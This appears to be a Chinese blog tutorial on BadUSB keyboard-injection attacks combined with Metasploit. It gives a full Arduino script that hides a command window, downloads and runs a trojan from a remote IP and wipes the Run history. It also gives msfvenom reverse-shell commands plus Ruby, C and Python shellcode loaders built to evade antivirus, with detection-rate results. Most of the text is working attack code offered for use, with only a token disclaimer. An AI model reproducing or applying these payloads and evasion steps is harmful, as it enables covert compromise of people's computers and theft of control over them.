HID攻击之Badusb(全面的带你了解Badusb五种的花样玩法.)

文章出自JoCat QQ:1506610991 有渗透测试需求及商务合作请联系JoCatWFY@163.com

本文可能存在攻击性,请勿用于非法用途。仅用于技术交流,一切责任与本人无关,如有不足的地方希望指点

作者博客JoCatW.github.io灵猫论坛bbs.ipghost.cn

00x8 MSF配合badusb的最终版(有免杀,自动转移进程,真正意义上的一插就渗透成功.)

啥?你讲我powershell那么大一个框框玩意被别人看到怎么办?程序执行完连poweshell都不关,木马都留下来了..

啥?你讲我基础教程做的太差,一开杀软就拦截?

啥?你讲我进程不转移会被杀软报毒?

这些是事吗?都不是事.我今天就把badusb的我认为的最终版做出来!

我们将根据以上三个很重要的问题来一一解决(感谢各位看到这.)

Question1:powershell那么大一个框框别人是眼瞎吗?看到怎么办?程序执行完连poweshell都不关,木马都留下来了..
Answer:对于这个问题,我们的解决方法很简单
一、首先是窗口大的问题
我们可以添加简单的隐藏窗口参数的方法
比如PowerShell.exe -WindowStyle Hidden这个语句即可
不过啊,火绒真是让我又爱又恨
QQ截图20200312091026.png
经过测试,我发现一旦调用Powersell的Hidden参数就会被火绒拦截
我们只能换一种思路,既然Hidden参数会拦截,为什么我们不最小化呢,这效果也不错的
把Hidden参数,替换为Minimized参数,也就是最小化的意思.
语句如下PowerShell.exe -WindowStyle Minimized
意思就是打开一个Powershell并最小化.

但是啊,各位,最小化之后你的语句怎么输入呢…

所以我们并不能最小化程序,我们可以再换一种思路(我认为最完美的一种)
我们可以先调用CMD再通过调整CMD窗口的大小来隐藏命令,再通过CMD来调用Powershell

二、我们的问题中还有一个问题,那就是执行完并没有把CMD关闭
我们也可以利用exit语句放在最后来避免问题发生.

三、我们的木马文件没有删除啊,怎么办呢?
我们关于删除木马文件的工作要放到第三个问题”进程不转移会被杀软报毒”中一起解决,我们将会在生成木马的时候就添加自动转移进程的参数,这样我们就可以删掉文件而且进程也成功转移了.

所以程序如下.

#include <Keyboard.h>  
void setup() {
Keyboard.begin();//开始键盘通讯
delay(10000);//延时单位是ms,做测试可以调长一点方便你利用这个时间来下载程序.不然你会哭的.测试完后就可以改为1000ms了
Keyboard.press(KEY_LEFT_GUI);//按下win键
delay(200);//延时200ms,这里的所有延时都要根据实际情况来讲,太短有可能使程序运行失败
Keyboard.press('r');//按下r键
delay(700);//延时700ms
Keyboard.release(KEY_LEFT_GUI);//松开win键
Keyboard.release('r');//松开r键
Keyboard.press(KEY_CAPS_LOCK);//按下大写键
Keyboard.release(KEY_CAPS_LOCK);//松开大写键
delay(600);//延时700ms
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");//输入创建最小的CMD的程序
delay(500);//延时500ms
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
delay(300);//延时300ms
Keyboard.println("powershell");//输入Powershell进入powershell
delay(300);//延时300ms
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
delay(700);//延时700ms
Keyboard.press(KEY_CAPS_LOCK);//按下大写键
Keyboard.release(KEY_CAPS_LOCK);//松开大写键
delay(700);//延时700ms
Keyboard.println("powershell (new-object System.Net.WebClient).DownloadFile( 'xxx.xxx.xxx.xxx\1.exe','D:\\1.exe')");
//上面这条语句是利用powershell下载木马的语句,按照我的标注来就行了,1.exe是你自己木马的名字
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
Keyboard.println("START D:\\1.exe");//执行你下载的文件
delay(300);//延时300ms
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
delay(200);//延时200ms
Keyboard.println("exit");//模拟输入exit来退出Powershell
delay(200);//延时200ms
Keyboard.press(KEY_RETURN);//按下回车
delay(300);//延时300ms
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //利用注册表清除开始--运行的记录(打扫战场)
delay(300);//延时300ms
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
delay(200);//延时200ms
Keyboard.println("exit");//模拟输入exit来退出CMD
delay(200);//延时200ms
Keyboard.press(KEY_RETURN);//按下回车
Keyboard.release(KEY_RETURN);//松开回车
delay(200);//延时200ms
Keyboard.end();//结束键盘通讯
}

void loop()//循环
{
}

然后再像之前教的一样烧录上去就OK啦

Question2:啥?你讲我基础教程做的太差,一开杀软就拦截?
Answer:对于现在杀毒软件拦截的问题,作者有两种思路,如下

  1. 利用badusb的特性去模拟用户输入,关闭杀软,这个是可以实现的,不过需要图像识别来实现。思路大概是通过图像识别来匹配相应杀软的图标,并将每一种杀软对应一种鼠标模拟关闭方式
  2. 第二种就比简单粗暴了(虽然好像第一种更粗暴)通过对我们的MSF木马进行免杀处理,免杀是我们现在远控常用套路,现在的问题是你的免杀方式在变,杀软也在不断更新,所以这种方式并不能从根源上避免杀毒软件带来的麻烦.
    而我们在这就使用免杀的方法来给大家讲讲.

    MSF免杀部分.

    免杀也就是绕过我们的杀毒软件,而我们的免杀有很多方法,常用的方法有改特征码,加入花指令,更改偏移量,反复编码等方式. 其实都不如直接找个安全的不会让靶机生疑的软件捆绑上去是成功率比较高的
    MSF生成的木马现在基本上的杀毒软件都可以拦截,我这边测试了一下VT(www.virscan.org和https://www.virustotal.com/gui/)我都进行了测试,结果如下图
    QQ截图20200314193205.png
    QQ截图20200314195500.png
    分别是27/49,57/72说实话挺出乎意料的(MSF都检测不出来的杀毒可以删了.),不过由于是网站检测实际情况可能比这好一些,接下来我们就可以对于我们的木马进行免杀处理.

    1.MSF自带的免杀模块(效果还行(很差))

    MSF的功能是极其强大的,渗透必备,而他在免杀方面也有很多模块支持,我们可以先利用它自己的模块来进行处理.基本(99.9%被杀)但是如果我们将其绑定之一个正常的软件上,则绕过概率更大
    下面是基本对于MSF免杀模块的整理

    编码器(MSF自带,使用前要先打开MSF)

    msfvenom -1 encoders//列出可用格式
    QQ截图20200316150829.png
    选择windows可用的编码器
    我这里选择如下
    QQ截图20200316152016.png
    可以看到它的等级是很高的,shikata_ga_nai编码技术是多态的,也就是说每次生成的攻击载荷文件都不一样
    然后我们可以开始生成木马,语句如下
    msfvenom -p windows/shell_reverse_tcp 意为使用shell_reverse_tcp攻击载荷
    LHOST=192.168.31.143 设置KaliIP地址
    LPORT=8888 设置监听端口

-e x86/shikata_ga_nai 为使用shikata_ga_nai的编码方式对攻击载荷进行重新编码
-i 6 使用刚才设定的编码方式对目标进行6次编码(理论上越多越好,不过应该会有一个峰值,正常5-10次差不多)
-f exe 指定MSF输出格式为exe
-o /root/桌面/shell.exe 指定处理完毕后的文件输出路径
综合起来就是这样:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.143 LPORT=8888 -e x86/shikata_ga_nai -i 6 -f exe -o /root/桌面/shell.exe  

QQ截图20200316164623.png

这样我们的编码器的木马生成完成了

我们上传到VT上看看,果然,效果真的”很好”
QQ截图20200316170509.png
QQ截图20200316170459.png
然后我们打开监听模块,上面有写在这就不多赘述了,也可以正常接收到反弹shell

而在本文中也将介绍通过ruby和C语言和Python进行的免杀处理,这三种方法比MSF自带的模块好太多了

ruby进行免杀的话需要受攻击机有相应环境(也可以转为exe),而C和python则可以通过封装来转为exe执行

2.ruby免杀(需要受攻击机有ruby环境)(效果最好VT0/59)

  1. 首先我们要通过msf生成基于ruby的木马(请先输入msfconsole进入msf)
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f ruby
    这边的x.x.x.x和8888跟上面一样,都分别替换为你kali的ip和接受的端口
    QQ截图20200316112028.png
  2. 将生成的木马复制下来
    QQ截图20200316113308.png
    然后我们可以开始编写我们的shellcode了
  3. shell code如下
    require 'fiddle'  
    require 'fiddle/import'
    require 'fiddle/types'
    shellcode = ""
    include Fiddle
    kernel32 = Fiddle.dlopen('kernel32')
    ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
    Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
    buf = Fiddle::Pointer[shellcode]
    Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)
    thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)
    Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)
  4. 将你上面复制的文件复制到shellcode=”这里”
    保存文件后缀改为.rb
  5. 用cmd命令”ruby shell.rb”即可运行(Arduino 代码改动不多,就是把在powershell里输入./shell.rb改为ruby shell.rb)
  6. 跟MSF之前写的一样,打开监听模块,这里我就不多叙述了,不会的看上面

    3.C语言免杀

  7. 我们跟用ruby免杀一样,先利用MSF生成木马(提前需要进入msf)
    先输入msfvenom -a x86 –platform windows \
    然后再输入指定参数-p windows/meterpreter/reverse_tcp \
    在输入-b ‘\x00\x0b’ LHOST=192.168.31.143 LPORT=8888 -f c
    (如果不加上反斜杠就是中止的意思)
    QQ截图20200316130209.png

-a 指定目标框架
–plantform 指定目标系统
-p 指定payload
-f 指定输出格式
-b指定规避的特殊字符
2. 将生成出来的文件复制出来,复制到相应的C语言编辑器,(DevC++/VSC)
并编写我们的shellcode,如下

#include<stdio.h>   
#include<windows.h>
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
unsigned char shellcode[] =
"\xd9\xc4\xd9\x74\x24\xf4\xbb\x7a\x0e\x27\xc6\x5e\x2b\xc9\xb1"
"\x56\x31\x5e\x18\x03\x5e\x18\x83\xc6\x7e\xec\xd2\x3a\x96\x72"
"\x1c\xc3\x66\x13\x94\x26\x57\x13\xc2\x23\xc7\xa3\x80\x66\xeb"
"\x48\xc4\x92\x78\x3c\xc1\x95\xc9\x8b\x37\x9b\xca\xa0\x04\xba"
"\x48\xbb\x58\x1c\x71\x74\xad\x5d\xb6\x69\x5c\x0f\x6f\xe5\xf3"
"\xa0\x04\xb3\xcf\x4b\x56\x55\x48\xaf\x2e\x54\x79\x7e\x25\x0f"
"\x59\x80\xea\x3b\xd0\x9a\xef\x06\xaa\x11\xdb\xfd\x2d\xf0\x12"
"\xfd\x82\x3d\x9b\x0c\xda\x7a\x1b\xef\xa9\x72\x58\x92\xa9\x40"
"\x23\x48\x3f\x53\x83\x1b\xe7\xbf\x32\xcf\x7e\x4b\x38\xa4\xf5"
"\x13\x5c\x3b\xd9\x2f\x58\xb0\xdc\xff\xe9\x82\xfa\xdb\xb2\x51"
"\x62\x7d\x1e\x37\x9b\x9d\xc1\xe8\x39\xd5\xef\xfd\x33\xb4\x67"
"\x31\x7e\x47\x77\x5d\x09\x34\x45\xc2\xa1\xd2\xe5\x8b\x6f\x24"
"\x7c\x9b\x8f\xfa\xc6\xcc\x71\xfb\x36\xc4\xb5\xaf\x66\x7e\x1f"
"\xd0\xed\x7e\xa0\x05\x9b\x74\x36\x66\xf3\x96\x49\x0e\x01\xa9"
"\x77\x77\x8c\x4f\x27\xd7\xde\xdf\x88\x87\x9e\x8f\x60\xc2\x11"
"\xef\x91\xed\xf8\x98\x38\x02\x54\xf0\xd4\xbb\xfd\x8a\x45\x43"
"\x28\xf7\x46\xcf\xd8\x07\x08\x38\xa9\x1b\x7d\x5f\x51\xe4\x7e"
"\xca\x51\x8e\x7a\x5c\x06\x26\x81\xb9\x60\xe9\x7a\xec\xf3\xee"
"\x85\x71\xc5\x85\xb0\xe7\x69\xf2\xbc\xe7\x69\x02\xeb\x6d\x69"
"\x6a\x4b\xd6\x3a\x8f\x94\xc3\x2f\x1c\x01\xec\x19\xf0\x82\x84"
"\xa7\x2f\xe4\x0a\x58\x1a\x76\x4c\xa6\xd8\x51\xf5\xce\x22\xe2"
"\x05\x0e\x49\xe2\x55\x66\x86\xcd\x5a\x46\x67\xc4\x32\xce\xe2"
"\x89\xf1\x6f\xf2\x83\x54\x31\xf3\x20\x4d\xc2\x8e\x49\x72\x23"
"\x6f\x40\x17\x24\x6f\x6c\x29\x19\xb9\x55\x5f\x5c\x79\xe2\x50"
"\xeb\xdc\x43\xfb\x13\x72\x93\x2e";

int main(int argc, char **argv)
{
_asm
{
lea eax,shellcode
call eax
}
returen 0;
}
  1. 打开MSF监听.
  2. 运行文件即可

    4.Python免杀(可通过pyinstaller封装成exe,推荐)

  3. 打开msf,生成py木马(先进入msf)跟C语言前面生成木马的步骤差不多
    msfvenom -p python/meterpreter/reverse_tcp \
    LHOST=192.168.31.134 LPORT=8888 \ (指定端口和IP)

-f raw -o shell.py (指定生成文件名)
QQ截图20200316133347.png
2. cat或vim打开shell.py文件,将里面内容复制出来
QQ截图20200316133607.png
3. 将复制的文件保存为.py后缀,并且利用pyinstaller转成exe
先pip install 安装pyinstaller
如果你出现像我这种情况,那么请你先更新pip
QQ截图20200316135003.png
输入 python -m pip install –upgrade pip
更新好之后安装pyinstaller
打开cmd输入pip install pyinstaller以安装pyinstaller模块
等待安装完成,这里可能会安装的很慢,也有可能掉线,所以可以换成国内的源
国内的源: -i http://pypi.douban.com/simple –trusted-host pypi.douban.com
4. 然后输入pyinstaller -F shell.py就可以把shell.py封装成exe文件了
5. 将exe文件上传至服务器并更改Arduino代码中powershell的下载位置即可

至此,免杀部分也完成了,这个免杀部分不仅仅局限于我介绍的这几种,各位小伙伴自己制作的肯定比我做的要好,你们也可以想出更多的骚操作.

以上所有的免杀都不需要我们过多的修改我们的badusb程序